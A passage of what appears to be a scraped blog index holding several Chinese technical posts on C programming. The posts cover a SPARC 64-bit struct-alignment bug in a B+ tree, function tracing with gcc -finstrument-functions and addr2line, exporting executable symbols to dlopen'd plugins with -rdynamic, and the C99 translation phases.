core了。当时项目进度紧，我也没有求甚解，这件事也就过去了。\n一晃N年过去了。今天在做程序的64位移植过程中我再次遇到了这个问题。问题的表象就是程序运行时dump core，通过gdb或pstack查看core的内容，发现程序是在B+ Tree初始化时出的core。显然这又是一个内存违规访问的问题，且在Sparc上出现（x86 Linux上运行正常）十有八九与内存对齐有关。\nB+ Tree出问题首先让我想到了N年前的那个解决方法。我先查看了自定义的索引结构体(usr_idx)：\nstruct usr_idx {\nunsigned int usr;\n};\n不过sizeof(usr_idx)无论是32bit编译还是64bit编译，其值都是4。那按照B+树原作者的说法，这显然不足以让B+树出现问题。事实也的确如此，32bit编译的程序在Sparc Solaris下运行良好，只是目前改为了64bit编译，才dump core，那问题到底出现在哪呢？\n到这里，我也只能从代码着手了，把N年前没弄清楚的原因找出来，顺便也把这个存在了N年的Bug彻底解决掉，把这笔技术债还了。pstack的输出告诉我问题出在一个名为bptree_create_node的函数中，嫌疑最大的一处代码大致是这样的：\nfor (i = 0; i rank; i++) {\n(elem_base(tree, tmp_bn, i))-\u0026gt;key = key_base(tree, tmp_bn, i);\n(elem_base(tree, tmp_bn, i))-\u0026gt;pointer = NULL;\n}\n直觉告诉我问题出在elem_base这个宏里，elem_base的定义如下：\n#define elem_base(tree, eb, index) ((xx_bptree_elem*)((char *)\u0026amp;(eb)-\u0026gt;e_base.mw_cp + ((SIZEOF_bptree_elem + (tree)-\u0026gt;keysize))*(index)))\n很显然这个定义最终是想得到一个xx_bptree_elem*类型的指针。从内存地址角度来说，我们会得到了一个内存地址，且这个地址被认为是一个xx_bptree_element元素的起始地址。那么是否所有地址作为xx_bptree_element元素的起始地址都合法呢？答案是不一定，至少在Sparc平台上不是所有地址都可以作为xx_bptree_elem的起始地址的。\n那么什么样地址可以作为xx_bptree_element的起始地址呢？在Sparc上这取决于结构体的对齐系数。xx_bptree_elem结构的定义如下：\nunion mem_word {\nvoid *mw_vp;\nvoid (*mw_fp)(void);\nchar *mw_cp;\nlong mw_l;\ndouble mw_d;\n};\ntypedef union mem_word mem_word;\n#define SIZEOF_mem_word (sizeof(mem_word))\nstruct xx_bptree_elem {\nvoid *key;\nvoid *pointer;\nmem_word base;\n};\ntypedef struct xx_bptree_item xx_bptree_item;\n#define SIZEOF_bptree_elem (sizeof(xx_bptree_elem)-sizeof(mem_word))\n在32bit编译的情况下，系统默认对齐系数为4(参见/usr/include/sys/isa_defs.h中的宏_MAX_ALIGNMENT)，则该结构体的对齐系数 = min(max(sizeof(key), sizeof(pointer), sizeof(base)), 4) = 4。这样xx_bptree_elem在32bit下的有效起始地址为可被4整除的内存地址。\n而在用64bit编译时，系统默认的对齐系数为16（同参见isa_defs.h），但由于xx_bptree_elem中size最大的字段(base)的size为8，则结构体的对齐系数就等于8。即xx_bptree_elem元素的有效起始地址为可被8整除的地址。\n好了，我们再回过头来看看elem_base宏在不同编译情况下能否总是返回合法的地址。\n#define elem_base(tree, eb, index) ((xx_bptree_elem*)((char *)\u0026amp;(eb)-\u0026gt;e_base.mw_cp + ((SIZEOF_bptree_elem + (tree)-\u0026gt;keysize))*(index)))\n这个宏中有三个元素决定返回地址，分别是\u0026quot;基址\u0026quot;：\u0026amp;(eb)-\u0026gt;e_base.mw_cp、偏移量SIZEOF_bptree_elem和(tree)-\u0026gt;keysize。其中基址是另外一个结构体xx_bptree_node中一个mem_word类型字段的地址，你知道的，mem_word这种手法可以保证其起始地址严格按照其内部最大字段的对齐系数对齐的，也就是说mem_word的对齐系数与double的对齐系数一致，即无论是32bit编译还是64bit编译，其对齐系数都是8，也就是说我们可以确保这个”基址“是可以被8整除的；至于偏移量SIZEOF_bptree_elem，我们可以直接可以得出其大小：\n32bit下，SIZEOF_bptree_elem = 8\n64bit下，SIZEOF_bptree_elem = 16\n可以看出无论是32bit还是64bit编译，SIZEOF_bptree_elem的值都是8的倍数；显然这两个值都不会影响elem_base最终返回地址的合法性。\n现在剩下的就是(tree)-\u0026gt;keysize了。keysize是由xx_bptree_init接口传进来的，它在上层实际上就是用户自定义的索引结构体的大小，显然这个大小不一定就是8的倍数。在我们的系统中，keysize = sizeof(usr_idx) =\n4。这个keysize在32bit编译下是没有问题的，因为32bit编译只需要elem_base返回的地址可以被4整除即可，这也是为什么我们的程序在32bit编译下运行正常的原因。回想一下N年前的那个问题，其真正原因也就在这里：当时我定义的索引结构体的大小无法被4整除。在64bit编译下，keysize显然不能满足被8整除的要求，导致elem_base返回的地址只能被4整除。而xx_bptree_elem这个结构体的地址是严格要求必须可被8整除的。将一个只能被4整除而不能被8整除的地址强制转换为xx_bptree_elem元素地址并通过该强制类型转换后的地址访问xx_bptree_elem内部的元素显然就会导致core的出现了。\n现在看来当初我的同事并未真正理解该B+ tree为何要求用户自定义结构体的大小必须为4的整数倍了，他只是通过现象得到了那条经验罢了，这笔技术债务也就从那时留了下来。\n解决该问题并不难，作为基础库，我们无论如何都不应该依赖用户的自觉，我们在接口实现中增加一个转换就可以解决这一隐藏了若干年的Bug，将外面传入的keysize经align_word转换后再赋给tree-\u0026gt;keysize，这样就可以保证elem_base始终返回合法的地址了。\n突然想起了那句话：”出来混，总是要还的“，我们欠的技术债务也不例外。\n","permalink":"https://tonybai.com/2011/07/21/pay-for-a-tech-debt-of-several-year-ago/","summary":"\u003cp\u003e记得刚来公司时曾参与过一个项目，项目中用到了部门基础库中的一个\u003ca href=\"http://en.wikipedia.org/wiki/B%2B_tree\"\u003eB+树\u003c/a\u003e接口。不过在程序调试过程中我们发现可执行程序总是dump core（在sparc \u003ca href=\"http://tonybai.com/2009/09/10/something-about-installing-solaris-10/\"\u003esolaris\u003c/a\u003e上），经初步分析，断定问题就出在B+树接口处，但一时又找不到问题原因。还好这个B+树的实现者就坐在我的旁边。他分析后告诉我：这个B+树接口要求用户自定义的索引结构体的size应该为4的整数倍。按照他的说法，我为结构体打了padding，以满足结构体size为4的整数倍的要求。修改后果然不再dump core了。当时项目进度紧，我也没有求甚解，这件事也就过去了。\u003c/p\u003e","title":"偿还N年前的一笔技术债"},{"content":"日常开发中，我们为了辅助程序调试常常在每个函数的出入口(entry/exit)增加Trace，一般我们多用宏来实现这些Trace语句，例如：\n#ifdef XX_DEBUG_\n#define TRACE_ENTER() printf(\u0026ldquo;Enter %s\\n\u0026rdquo;, __FUNCTION__)\n#define TRACE_EXIT() printf(\u0026ldquo;Exit %s\\n\u0026rdquo;, __FUNCTION__)\n#else\n#define TRACE_ENTER()\n#define TRACE_EXIT()\n#endif\n有了TRACE_ENTER和TRACE_EXIT后，你就可以在你的函数中使用它们了。例如：\nvoid foo(…) {\nTRACE_ENTER();\n… …\nTRACE_EXIT();\n}\n这样你就可以很容易看到函数的调用关系。不过这种手法用起来却不轻松。首先你需要在每个函数中手工加入TRACE_ENTER和TRACE_EXIT，然后再利用XX_DEBUG_宏控制其是否生效。特别是对于初期未添加函数级Enter/Exit Trace的项目，后期加入工作量很大。\n不过Gcc给我们提供了另外一种方便的手法：使用GCC的-finstrument-functions选项。-finstrument-functions使得GCC在生成代码时自动为每个函数在入口和出口生成__cyg_profile_func_enter和__cyg_profile_func_exit两个函数调用。我们要做的就是给出一份两个函数的实现即可。最简单的实现莫过于打印出被调用函数的地址了：\n/* func_trace.c */\n__attribute__((no_instrument_function))\nvoid __cyg_profile_func_enter(void *this_fn, void *call_site) {\nprintf(\u0026ldquo;enter func =\u0026gt; %p\\n\u0026rdquo;, this_fn);\n}\n__attribute__((no_instrument_function))\nvoid __cyg_profile_func_exit(void *this_fn, void *call_site) {\nprintf(\u0026ldquo;exit func \u0026lt;= %p\\n\u0026rdquo;, this_fn);\n}\n我们将这两个函数放入libfunc_trace.so：gcc -fPIC -shared -o libfunc_trace.so func_trace.c\n我们为下面例子添加enter/exit级Trace：\n/* example.c */\nstatic void foo2() {\n}\nvoid foo1() {\nfoo2();\n}\nvoid foo() {\nchdir(\u0026quot;/home/tonybai\u0026quot;);\nfoo1();\n}\nint main(int argc, const char *argv[]) {\nfoo();\nreturn 0;\n}\n$ gcc -g example.c -o example -finstrument-functions\n$ LD_PRELOAD=libfunc_trace.so example\nenter func =\u0026gt; 0×8048524\nenter func =\u0026gt; 0x80484e5\nenter func =\u0026gt; 0x80484b2\nenter func =\u0026gt; 0×8048484\nexit func \u0026lt;= 0×8048484\nexit func \u0026lt;= 0x80484b2\nexit func \u0026lt;= 0x80484e5\nexit func \u0026lt;= 0×8048524\n不过只输出函数地址很难让人满意，根据这些地址我们无法得知到底对应的是哪个函数。那我们就尝试一下将地址转换为函数名后再输出，这方面GNU依旧给我们提供了工具，它就是addr2line。addr2line是binutils包中的一个工具，它可以根据提供的地址在可执行文件中找出对应的函数名、对应的源码文件名以及行数。我们改造一下func_trace.c中的两个函数的实现：\n/* func_trace.c */\nstatic char path[PATH_MAX];\n__attribute__((constructor))\nstatic void executable_path_init() {\nchar buf[PATH_MAX];\nmemset(buf, 0, sizeof(buf));\nmemset(path, 0, sizeof(path));\n#ifdef _SOLARIS_TRACE\ngetcwd(buf, PATH_MAX);\nsprintf(path, \u0026ldquo;%s/%s\u0026rdquo;, buf, getexecname());\n#elif _LINUX_TRACE\nreadlink(\u0026quot;/proc/self/exe\u0026quot;, path, PATH_MAX);\n#else\n#error \u0026ldquo;The OS has not been supported!\u0026rdquo;\n#endif\n}\n__attribute__((no_instrument_function))\nvoid __cyg_profile_func_enter(void *this_fn, void *call_site) {\nchar buf[PATH_MAX];\nchar cmd[PATH_MAX];\nmemset(buf, 0, sizeof(buf));\nmemset(cmd, 0, sizeof(cmd));\nsprintf(cmd, \u0026ldquo;addr2line %p -e %s -f|head -1\u0026rdquo;, this_fn, path);\nFILE *ptr = NULL;\nmemset(buf, 0, sizeof(buf));\nif ((ptr = popen(cmd, \u0026ldquo;r\u0026rdquo;)) != NULL) {\nfgets(buf, PATH_MAX, ptr);\nprintf(\u0026ldquo;enter func =\u0026gt; %p:%s\u0026rdquo;, this_fn, buf);\n}\n(void) pclose(ptr);\n}\n__attribute__((no_instrument_function))\nvoid __cyg_profile_func_exit(void *this_fn, void *call_site) {\nchar buf[PATH_MAX];\nchar cmd[PATH_MAX];\nmemset(buf, 0, sizeof(buf));\nmemset(cmd, 0, sizeof(cmd));\nsprintf(cmd, \u0026ldquo;addr2line %p -e %s -f|head -1\u0026rdquo;, this_fn, path);\nFILE *ptr = NULL;\nmemset(buf, 0, sizeof(buf));\nif ((ptr = popen(cmd, \u0026ldquo;r\u0026rdquo;)) != NULL) {\nfgets(buf, PATH_MAX, ptr);\nprintf(\u0026ldquo;exit func \u0026lt;= %p:%s\u0026rdquo;, this_fn, buf);\n}\n(void) pclose(ptr);\n}\n在我的Ubuntu 10.04下，我们编译和执行\n$ gcc -D_LINUX_TRACE -fPIC -shared -o libfunc_trace.so func_trace.c\n$ gcc -g example.c -o example -finstrument-functions\n$ LD_PRELOAD=libfunc_trace.so example\n$ example\nenter func =\u0026gt; 0×8048524:main\nenter func =\u0026gt; 0x80484e5:foo\nenter func =\u0026gt; 0x80484b2:foo1\nenter func =\u0026gt; 0×8048484:foo2\nexit func \u0026lt;= 0×8048484:foo2\nexit func \u0026lt;= 0x80484b2:foo1\nexit func \u0026lt;= 0x80484e5:foo\nexit func \u0026lt;= 0×8048524:main\n关于这个实现，还有几点要说道说道：\n首先libfunc_trace.so是动态链接到你的可执行程序中的，那么如何获取addr2line所需要的文件名是一个问题；另外考虑到可执行程序中可能会调用chdir这样的接口更换当前工作路径，所以我们需要在初始化时就得到可执行文件的绝对路径供addr2line使用，否则会出现无法找到可执行文件的错误。在这里我们利用了GCC的__attribute__扩展：\n__attribute__((constructor))\n这样我们就可以在main之前就将可执行文件的绝对路径获取到，并在__cyg_profile_func_enter和__cyg_profile_func_exit中直接引用这个路径。\n在不同平台下获取可执行文件的绝对路径的方法有不同，像Linux下可以利用\u0026quot;readlink /proc/self/exe\u0026quot;获得可执行文件的绝对路径，而Solaris下则用getcwd和getexecname拼接。\n再总结一下，如果你想使用上面的libfunc_trace.so，你需要做的事情有：\n1、将编译好的libfunc_trace.so放在某路径下，并export LD_PRELOAD=PATH_TO_libfunc_trace.so/libfunc_trace.so\n2、你的环境下需要安装binutils的addr2line\n3、你的应用在编译时增加-finstrument_functions选项。\n我已经将这个小工具包放到了Google Code上，有兴趣的朋友可以在这里下载完整源码包（20110715更新：支持输出函数所在源文件路径以及所在行号，前提编译你的程序时务必加上-g选项）。\n","permalink":"https://tonybai.com/2011/07/13/add-enter-and-exit-trace-for-your-function/","summary":"\u003cp\u003e日常开发中，我们为了辅助程序调试常常在每个函数的出入口(entry/exit)增加Trace，一般我们多用宏来实现这些Trace语句，例如：\u003c/p\u003e\n\u003cp\u003e#ifdef XX_DEBUG_\u003cbr\u003e\n#define TRACE_ENTER() printf(\u0026ldquo;Enter %s\\n\u0026rdquo;, __FUNCTION__)\u003cbr\u003e\n#define TRACE_EXIT() printf(\u0026ldquo;Exit %s\\n\u0026rdquo;, __FUNCTION__)\u003cbr\u003e\n#else\u003cbr\u003e\n#define TRACE_ENTER()\u003cbr\u003e\n#define TRACE_EXIT()\u003cbr\u003e\n#endif\u003c/p\u003e","title":"为函数添加enter和exit级trace"},{"content":"我之前写过一篇名为\u0026quot;也谈共享库\u0026ldquo;的博文，对共享库的查找和符号解析机制做了还算比较详细的说明，不过百密一疏，总有一些意想不到的情况发生。这不今天我又遇到了一个有关共享库的新问题，这里将这个问题及其解决过程记录下来，也算是对上一篇文章中未涉及内容的一个补充吧。\nN年前我曾参与过部门的一个可复用系统的设计开发，当时我们设计了一种插件式的系统结构，其中所谓的\u0026quot;插件\u0026quot;是以共享库的形式提供。主程序通过读取配置，获取插件的位置，并在运行期利用dlopen动态加载插件(.so文件)，用dlsym查找、绑定并执行.so中的特定业务函数。\n我们可以用下面样例代码简单地模拟出这种设计：\n/*\n* 主程序 main.c */\n* 需include dlfcn.h、link.h等标准头文件，这里省略\n*/\ntypedef int (*PLUGIN_MAIN_FUNC)(void);\nint main() {\nvoid *handle = NULL;\nchar *dso = \u0026ldquo;plugin.so\u0026rdquo;;\nchar *func_name = \u0026ldquo;plugin_main\u0026rdquo;;\nPLUGIN_MAIN_FUNC func = NULL;\nhandle = dlopen(dso, RTLD_LAZY);\nif (handle == NULL) {\nprintf(\u0026ldquo;dlopen (%s)失败!\\n\u0026rdquo;, dso);\nreturn -1;\n}\nfunc = dlsym(handle, func_name);\nif (func == NULL) {\nprintf(\u0026ldquo;dlsym (%s)失败!\\n\u0026rdquo;, func_name);\nreturn -1;\n}\nprintf(\u0026quot;%d\\n\u0026rdquo;, my_add(4, 8));\nprintf(\u0026quot;%d\\n\u0026quot;, func());\ndlclose(handle);\nreturn 0;\n}\n以下my_add接口可以理解为主程序所使用的底层库，亦可为plugin程序使用。\n/* add.h */\nint my_add(int a, int b);\n/* add.c */\nint my_add(int a, int b) {\nreturn a + b;\n}\n/* 以下是plugin.so的源代码 */\n/* plugin.c */\n#include \u0026ldquo;add.h\u0026rdquo;\nint plugin_main() {\nreturn my_add(5, 6);\n}\n在Solaris 10 for x86, Gcc 3.4.6下编译plugin和主程序：\n$ gcc -fPIC -shared -o plugin.so plugin.c\n$ gcc -o main main.c add.c -ldl\n执行main，我们得到了期望的结果：\n12\n11\n将该样例拿到Solaris 10 for sparc平台上编译运行一样没有问题。最后，我把源代码拿到了我的Ubuntu 10.04下，Gcc的版本是4.4.3，编译过程很顺利，但是执行的结果却与预期不符，执行main后得到的结果是：\n12\nmain: symbol lookup error: ./plugin.so: undefined symbol: my_add\n居然提示无法找到符号my_add！在Solaris上明明可以正确执行的程序，搬到Linux下却出错。这种问题十分对我的胃口，开始“破案”^_^。\n我们先来收集证据，先看看plugin.so的符号表：\n$ nm -f sysv plugin.so\nName Value Class Type Size Line Section\n… …\nmy_add | | U | NOTYPE| | |*UND*\nplugin_main |0000046c| T | FUNC|0000002c| |.text\nmy_add符号的确是Undefined（未定义）的，也就是说在主程序获得my_add符号并准备执行时(注意我们在dlopen的参数中使用了RTLD_LAZY)，加载器需要在此时为my_add这个符号寻找其定义。main这个可执行文件中是定义了这个符号的，我们可以通过nm命令看到这一情况：\n$ nm -f sysv main\nName Value Class Type Size Line Section\n… …\nmain |080484f4| T | FUNC|000000ee| |.text\nmy_add |080485e4| T | FUNC|0000000e| |.text\n按照我原先的理解，加载器在为my_add符号寻找定义时，是应该可以将main中的my_add定义与之相绑定的，但是事实却是加载器无法找到my_add这个符号的定义，导致执行出错。\n你也许会立刻想出一种解决方法，将add.c与plugin.c一起编译：\n$ gcc -fPIC -shared -o plugin.so plugin.c\n这样编译后的plugin.so中的确有了my_add的定义：\n$ nm -f sysv plugin.so\nName Value Class Type Size Line Section\n… …\nmy_add |00000498| T | FUNC|0000000e| |.text\nplugin_main |0000046c| T | FUNC|0000002c| |.text\nmain也可以正确执行了。但这显然不是我么想要的结果。作为一个plugin，其编译时很可能无法得到add.c或者add.c对应的静态库，也许只能得到add.h，所以这种方法很局限。另外这个方案也在plugin源码与主程序源码之间无端建立一个耦合，导致后续的一些不方便。\n接下来，我使用readelf工具对main的ELF格式做了一次全面检查：\n$ readelf -a main\n在readelf输出的内容中，我发现了两个“符号表(Symbol table)”：\nSymbol table \u0026lsquo;.dynsym\u0026rsquo; contains 9 entries:\nNum: Value Size Type Bind Vis Ndx Name\n… …\n3: 00000000 0 FUNC GLOBAL DEFAULT UND dlclose@GLIBC_2.0 (2)\n4: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (3)\n5: 00000000 0 FUNC GLOBAL DEFAULT UND dlsym@GLIBC_2.0 (2)\n6: 00000000 0 FUNC GLOBAL DEFAULT UND dlopen@GLIBC_2.1 (4)\n7: 00000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.0 (3)\n… …\nSymbol table \u0026lsquo;.symtab\u0026rsquo; contains 70 entries:\nNum: Value Size Type Bind Vis Ndx Name\n… …\n52: 080485e4 14 FUNC GLOBAL DEFAULT 14 my_add\n54: 00000000 0 FUNC GLOBAL DEFAULT UND dlclose@@GLIBC_2.0\n55: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@@GLIBC_\n58: 00000000 0 FUNC GLOBAL DEFAULT UND dlsym@@GLIBC_2.0\n60: 00000000 0 FUNC GLOBAL DEFAULT UND dlopen@@GLIBC_2.1\n63: 00000000 0 FUNC GLOBAL DEFAULT UND printf@@GLIBC_2.0\n68: 080484f4 238 FUNC GLOBAL DEFAULT 14 main\n… …\n仔细观察一下这两个表，你会发现有些函数是重复的，如dlopen在两个表里面都有，但my_add却只在.symtab中出现。也许问题就在这里。迅速翻阅了一些资料（比如\u0026quot;Linkers and Loaders\u0026quot;），发现这两个符号表的功用确有不同。\n.symtab中的符号也称为normal symbol，表中包含了所有ELF文件中涉及的所有符号，用于普通的链接器；.dynsym中的符号则是由未定义的动态链接符号以及该ELF文件本身导出(export)的用于动态链接的符号组成。说到这里，头绪渐渐明晰。在本例中，.symtab这个普通符号表中虽然包含了my_add符号，但是这并不能说明my_add是main导出的用于动态链接的符号(dynamic symbol)，只有my_add出现在.dynsym中时，加载器才能在符号查找时看到my_add，而本例中my_add恰恰没有出现在.dynsym表中。\n使用nm -D命令，我们也可以查看.dynsym符号表：\n$ nm -D -f sysv main\nSymbols from main:\nName Value Class Type Size Line Section\n… …\ndlclose | | U | FUNC| | |*UND*\ndlopen | | U | FUNC| | |*UND*\ndlsym | | U | FUNC| | |*UND*\n… …\n让我奇怪的是为何在Solaris上main的执行是没有问题的呢，换到Solaris下，我们同样使用nm -D查看上面的main文件：\n$ nm -D main\nmain:\n[Index] Value Size Type Bind Other Shndx Name\n…\n[10] | 134547364| 305|FUNC |GLOB |0 |10 |main\n[19] | 134547353| 11|FUNC |GLOB |0 |10 |my_add\n…\n从结果可以看出，Solaris上main文件的.dynsym符号表中是包含了my_add符号的，这也就是main在Solaris上可以正常执行的原因。\n难道与Gcc版本有关系？Solaris上的Gcc是3.4.6，而我的Ubuntu上的Gcc是4.4.3。\u0026quot;Binary Hacks\u0026ldquo;一书中曾提到使用-rdynamic选项可为可执行文件留下可用于动态连接的符号。向gcc传入-rdynamic，则链接器会得到-export-dynamic选项。我在Ubuntu下试一下这个选项：\n$ gcc -o main main.c add.c -ldl -rdynamic\n$ main\n12\n11\n问题果然解决了。我们再用nm -D查看一下这个新版main文件：\n$ nm -D -f sysv main\nSymbols from main:\nName Value Class Type Size Line Section\n… …\ndlsym | | U | FUNC| | |*UND*\nmain |080486e4| T | FUNC|000000ee| |.text\nmy_add |080487d4| T | FUNC|0000000e| |.text\n…\n果然，.dynsym表扩大了好多，my_add也出现在了该表中，这样在main执行时加载器就可以为plugin.so中的my_add符号绑定到其定义了。\n我在Solaris下的gcc命令行上也增加-rdynamic选项，但编译后得到的结果却是：\ngcc: unrecognized option `-rdynamic\u0026rsquo;\n查看了Gcc官方的Manual后发现，在Gcc 4.1.2版本之前的Manual中都无法找到-rdynamic这一选项，也就是说这个选项是后加入Gcc中的。之前我们看到Solaris上main文件的dynsym表默认就包含了my_add，而4.1.2版本后的Gcc则默认不将自定义的全局函数导出。这是为什么呢？也许是为了提升可执行程序动态链接的性能，这个性能估计与dynsym表的大小不无关系。表越小，需要动态链接的符号越少，符号解析和绑定的速度也就越快；同时由于该表的内容需要在执行时加载到内存，这样表越小，加载的时间以及内存的占用也都很少，所以GCC更改了策略，默认选择不导出自定义的全局符号，并提供-rdynamic让程序员选择是否导出已定义的符号用于动态链接。\n","permalink":"https://tonybai.com/2011/07/07/also-talk-about-shared-library-2/","summary":"\u003cp\u003e我之前写过一篇名为\u0026quot;\u003ca href=\"http://tonybai.com/2010/12/13/also-talk-about-shared-library/\"\u003e也谈共享库\u003c/a\u003e\u0026ldquo;的博文，对共享库的查找和\u003ca href=\"http://tonybai.com/2008/02/03/symbol-linkage-in-shared-library/\"\u003e符号解析\u003c/a\u003e机制做了还算比较详细的说明，不过百密一疏，总有一些意想不到的情况发生。这不今天我又遇到了一个有关共享库的新问题，这里将这个问题及其解决过程记录下来，也算是对上一篇文章中未涉及内容的一个补充吧。\u003c/p\u003e\n\u003cp\u003eN年前我曾参与过部门的一个可复用系统的设计开发，当时我们设计了一种插件式的系统结构，其中所谓的\u0026quot;插件\u0026quot;是以共享库的形式提供。主程序通过读取配置，获取插件的位置，并在运行期利用dlopen动态加载插件(.so文件)，用dlsym查找、绑定并执行.so中的特定业务函数。\u003c/p\u003e","title":"也谈共享库2"},{"content":"了解C编译器的工作流程有助于C程序员解决编译代码过程中出现的问题。市面上凡是讲解得还算全面的C语言书籍中都或多或少对此有所提及。\n让我们在这里来回顾一下C编译器的工作流程！一般C编译器的工作流程大致分为：预编译、编译、生成目标代码（汇编）和连接这四个主要步骤。我们用实例具体描述一下这四个步骤，以最著名的GCC编译器结合helloworld.c文件为例:\n/* helloworld.c */\nint main() {\nprintf(\u0026ldquo;hello, world\\n\u0026rdquo;);\nreturn 0;\n}\n使用Gcc编译该源文件，我们看到编译器有如下输出（省略了一些内容）：\n$ gcc -v -o helloworld helloworld.c\n… …\ngcc version 4.4.3 (Ubuntu 4.4.3-4ubuntu5)\nCOLLECT_GCC_OPTIONS=\u0026rsquo;-v\u0026rsquo; \u0026lsquo;-o\u0026rsquo; \u0026lsquo;helloworld\u0026rsquo; \u0026lsquo;-mtune=generic\u0026rsquo; \u0026lsquo;-march=i486\u0026rsquo;\n/usr/lib/gcc/i486-linux-gnu/4.4.3/cc1 -quiet -v helloworld.c -D_FORTIFY_SOURCE=2 -quiet -dumpbase helloworld.c -mtune=generic -march=i486 -auxbase helloworld -version -fstack-protector -o /tmp/ccgoLMLQ.s\n… …\nCOLLECT_GCC_OPTIONS=\u0026rsquo;-v\u0026rsquo; \u0026lsquo;-o\u0026rsquo; \u0026lsquo;helloworld\u0026rsquo; \u0026lsquo;-mtune=generic\u0026rsquo; \u0026lsquo;-march=i486\u0026rsquo;\nas -V -Qy -o /tmp/ccN9HVdH.o /tmp/ccgoLMLQ.s\n… …\nCOLLECT_GCC_OPTIONS=\u0026rsquo;-v\u0026rsquo; \u0026lsquo;-o\u0026rsquo; \u0026lsquo;helloworld\u0026rsquo; \u0026lsquo;-mtune=generic\u0026rsquo; \u0026lsquo;-march=i486\u0026rsquo;\n/usr/lib/gcc/i486-linux-gnu/4.4.3/collect2 –build-id –eh-frame-hdr -m elf_i386 –hash-style=both -dynamic-linker /lib/ld-linux.so.2 -o helloworld -z relro /usr/lib/gcc/i486-linux-gnu/4.4.3/../../../../lib/crt1.o /usr/lib/gcc/i486-linux-gnu/4.4.3/../../../../lib/crti.o /usr/lib/gcc/i486-linux-gnu/4.4.3/crtbegin.o -L/usr/lib/gcc/i486-linux-gnu/4.4.3 -L/usr/lib/gcc/i486-linux-gnu/4.4.3 -L/usr/lib/gcc/i486-linux-gnu/4.4.3/../../../../lib -L/lib/../lib -L/usr/lib/../lib -L/usr/lib/gcc/i486-linux-gnu/4.4.3/../../.. -L/usr/lib/i486-linux-gnu /tmp/ccN9HVdH.o -lgcc –as-needed -lgcc_s –no-as-needed -lc -lgcc –as-needed -lgcc_s –no-as-needed /usr/lib/gcc/i486-linux-gnu/4.4.3/crtend.o /usr/lib/gcc/i486-linux-gnu/4.4.3/../../../../lib/crtn.o\n可以明显看出，Gcc的输出大致分为三段：\n首先是调用/usr/lib/gcc/i486-linux-gnu/4.4.3/cc1对源文件helloworld.c进行预编译和编译，生成汇编代码文件/tmp/ccgoLMLQ.s；\n然后，汇编器as被启动，编译ccgoLMLQ.s，生成目标代码文件/tmp/ccN9HVdH.o；\n最后，链接器collect2将目标文件和一些库文件连接在一起，形成可执行程序helloworld。\n简单总结一下就是：\n- cc1负责预编译源代码helloworld.c，生成helloworld.i(指代预编译后生成的中间文件，很多编译器为了效率并不使用临时文件，而使用管道等方法)，我们可以通过gcc -E helloworld.c \u0026gt; helloworld.i得到helloworld.i这个文件；\n- cc1将helloworld.i作为输入，对预编译后的源文件进行编译，生成汇编代码文件helloworld.s（指代编译后的汇编代码文件）。我们可以通过gcc -S helloworld.c得到helloworld.s文件；\n- as负责根据helloworld.s生成目标代码文件helloworld.o，我们可以通过gcc -c helloworld.c来获得helloworld.o；\n- collect2负责将目标代码与各种库文件连接，形成最终可执行文件helloworld。\n其实以上不是这次重点要谈的。粗略了解了以上流程的确有助于解决编译过程中的问题，但是还不能解决全部，你需要了解更多。关于链接过程，我在博客里曾多次谈过，这里就不说了。as执行的汇编过程基本不会出现问题，这里也不谈，我们这次重点要关注的就是C编译器在预编译和编译过程中的一些细节。\nC标准(C99)在5.1.1.2小节将C编译器工作流程分成了八个标准阶段，我这里也是结合这八个阶段并按照我的理解做进一步的解释的。在开始之前我们要明确下面这八个阶段中的前七个都是针对一个编译单元/翻译单元的，自始至终你都要牢记这一点。\n第一阶段：物理源文件中的多字节字符被映射到源字符集（具体以何种字符编码方式映射与编译器的实现相关）。三字符序列(或称为三字符组)被替换为相应的单字符的内部表示。\n标准中的语言总是那么绕口。这里主要说的是编译器读取物理源文件的内容，此时编译器并不知道该源文件中的多字节字符采用的是何种字符集编码方式。以GCC为例，GCC默认源码文件多字节字符的编码为utf8，而GCC其作为内部表示的源字符集默认也是utf8，所以默认情况下，这个阶段GCC不会对源文件中的内容做任何转换。\n例如我们有一个内码格式为GBK的名为foo.c的文件：\n/* foo.c */\nint main() {\nprintf(\u0026ldquo;中国\\n\u0026rdquo;);\n}\n按照GBK码表，其中的字符串常量\u0026quot;中国\u0026quot;的编码为d6 d0 b9 fa。将该文件传到一个locale为utf8的平台上编译，我们发现GCC并未尝试将GBK转换为其内部表示的编码格式utf8：\n$ gcc -E foo.c \u0026gt; foo.i\n$ od -x foo.i\n我们可以看到foo.i中\u0026quot;中国\u0026quot;二个字的编码依旧为d6 d0 b9 fa。\n不过我们可以显式告知编译器源码文件的编码格式，如果其所在OS支持从该编码格式到utf8的转换，则GCC会在第一阶段就进行这个转换：\n$ gcc -E foo.c \u0026gt; foo.i -finput-charset=\u0026lsquo;gbk\u0026rsquo;\n这次foo.i中的\u0026quot;中国\u0026quot;二字的编码变成了utf编码：e4 b8 ad e5 9b bd\n三字符序列(trigraphs)的替换过程也是在第一阶段进行的，也就是发生在词法分析之前以及识别字符常量和字符串常量中的转义字符之前。我们看看这个例子：\n/* trigraphs_test.c */\nint main(int argc, const char *argv[]) {\nprintf(\u0026ldquo;hello??/n\u0026rdquo;);\nprintf(\u0026ldquo;world\\n\u0026rdquo;);\nreturn 0;\n}\n$ gcc -E trigraphs_test.c \u0026gt; trigraphs_test.i -std=c99\n可以看到trigraphs_test.i内容为：\nint main(int argc, const char *argv[]) {\nprintf(\u0026ldquo;hello\\n\u0026rdquo;);\nprintf(\u0026ldquo;world\\n\u0026rdquo;);\nreturn 